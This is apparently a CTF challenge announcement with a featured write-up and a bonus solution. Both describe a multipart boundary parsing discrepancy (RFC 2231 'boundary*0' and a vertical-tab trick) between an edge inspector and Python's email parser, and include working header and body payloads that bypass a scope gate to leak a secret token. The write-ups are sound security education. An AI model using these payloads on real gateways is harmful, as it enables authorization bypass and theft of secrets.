For this challenge, our three randomly selected winners are 3atwa, dustinabhi, and sh4rk0xx! đ Your swag packs are on their way!
I also wanted to give a shoutout to Kubet for discovering an unintended approach!
We encourage players to experiment beyond the intended solutions. It's always cool to see unexpected approaches!
Write-up by 3atwa
For this month's solution, we're featuring 3atwa's write-up, which explores a multipart boundary parsing discrepancy between the edge inspector and the Bundle API, exploiting differences in how they handle RFC 2231 MIME parameters to bypass access controls and retrieve sensitive information.
---
Two parsers, one request. The edge inspector picks the multipart boundary with a hand-rolled regex that whitelists RFC 2231 continuation names (boundary*, boundary*0, ...) during validation and then never selects them, falling through to the first literal boundary=. The Bundle API hands the same Content-Type to Python's email parser, which implements RFC 2231, reassembles boundary*0=, and prefers it over a plain boundary= later in the header. Put the continuation first and the two layers frame the same body with different boundaries, so the edge sees scope=public while the API sees scope=internal.
Exploitation
- Read the challenge source and mapped the two gates against each other. The edge only forwards a request whose
edge_view["scope"]is"public", while the API acts on whateverscopeit parses for itself. Nothing ties those two parses together, so the question became whether they can be made to disagree. - Tried
boundary=A; boundary=Bfirst. Both layers takeA, so plain duplication is a dead end.Found the gap insideinspection_boundary(). - The validation loop explicitly permits continuation names:
1if normalized_name.startswith("boundary") and normalized_name != "boundary":2 if not re.fullmatch(r"boundary\*(?:[0-9]+\*?)?", normalized_name):3 return None45parameters.append((name, value))
boundary*0 satisfies that pattern, so it is accepted as a legal parameter. The selection loop below then refuses to look at it:
1for name, value in parameters:2 if name.lower() != "boundary":3 continue4 if not re.fullmatch(r"[A-Za-z0-9._-]{1,70}", value):5 return None6 return value.encode("ascii")
Validation accepts the continuation. Selection cannot see it. Downstream, it decides the framing.
- Probed the orderings:
boundary=A,boundary=A; boundary=B, andboundary=A; boundary*0=Ball resulted in both parsers selecting A, with no divergence. However,boundary*0=B; boundary=Acaused a divergence, with Edge selecting A and Email selecting B. Order is load-bearing: the continuation must come before the literal. - Confirmed why the divergence survives inspection. Both halves use the same parser and the same policy, so the split is not a library mismatch. It is that the edge inspects a header it rewrote for itself, while the API re-parses the original:
1# edge: inspection_fields() re-serializes a clean header holding only its chosen boundary2b'Content-Type: multipart/form-data; boundary="' + quoted_boundary + b'"\r\n\r\n' + payload3message = BytesParser(policy=policy.default).parsebytes(mime_request)45# Bundle API: re-parses the original, attacker-controlled header6message = BytesParser(policy=policy.default).parsebytes(mime_request)
The edge already knows how to canonicalize a Content-Type. It just does not forward the canonical form, so its verdict is about bytes nobody downstream will ever see.
- Built one body valid under both boundaries. The
name="x"part is the pivot: its value on the edge side is the structure on the API side. Edge framing becomes API preamble and epilogue, and the smuggled parts hide inside an edge field value. - Sent it. The edge resolved
edge_boundary = b'edgebnd'and read{'scope': 'public', 'x': '--apibnd...internal...--apibnd--'}, passing thepublic-scopegate. The API resolvedapibndand read{'scope': 'internal'}, soruntime.envwas appended withredaction: disabledand the flag returned inSUPPORT_EXPORT_TOKEN. The success popup fired.
Steps to reproduce
- Go to the inputs tab.
- Paste into Content-Type:
1multipart/form-data; boundary*0=apibnd; boundary=edgebnd
Paste into body:
1--edgebnd2Content-Disposition: form-data; name="scope"34public5--edgebnd6Content-Disposition: form-data; name="x"78--apibnd9Content-Disposition: form-data; name="scope"1011internal12--apibnd--13--edgebnd--
- Click Submit. Popup fires, and the flag appears in the
runtime.envpreview asSUPPORT_EXPORT_TOKENwithredaction: disabled.
Flag: FLAG{Spl1t_Fl4gG3d_C00l_RFC_r1gH7_?}
Impact
Authorization bypass. The edge inspector is the only control in front of the export service, and its scope=public guarantee no longer binds what the API does: redaction flips to disabled and runtime.env leaks service identity, region, build and the long-lived SUPPORT_EXPORT_TOKEN to an unauthenticated caller.
In a real application this puts a bearer secret in attacker hands, and every gateway rule can be stepped around the same way, because the component making the decision and the component enforcing it read different bytes.
Bonus: An Unintended Approach by Kubet
Beyond the intended RFC 2231 solution, Kubet discovered another interesting parsing discrepancy involving the ASCII vertical tab character (0x0B).
Instead of using extended MIME parameters, this approach exploits the different ways the gateway's regular expression and Python's MIME parser handle whitespace.
The gateway uses:
1rf"\s*({token})\s*=\s*({token})\s*"
Because Python's \s matches the vertical tab character, the gateway consumes it as whitespace, while the backend's MIME parser preserves it as part of the boundary value.
For example:
1content_type = "multipart/form-data; boundary=\x0bdemo"
The two components interpret the header differently:
- Edge gateway: selects
demoas the boundary. - Bundle API: selects
\x0bdemoas the boundary.
Kubet demonstrated this alternative with the following payload:
1body = (2 b'--demo\r\n'3 b'Content-Disposition: form-data; name="scope"\r\n'4 b'\r\n'5 b'public\r\n'6 b'--demo--\r\n'7 b'--\x0bdemo\r\n'8 b'Content-Disposition: form-data; name="scope"\r\n'9 b'\r\n'10 b'internal\r\n'11 b'--\x0bdemo--\r\n'12)
Here, \x0b represents the actual ASCII vertical tab byte (0x0B), not the literal characters.
This causes the gateway to interpret scope=public, while the backend interprets scope=internal.
It's worth noting that the vertical tab is not valid in standard HTTP header values, so real-world HTTP servers and reverse proxies may reject this payload before it reaches the application.
Happy hacking! \o/



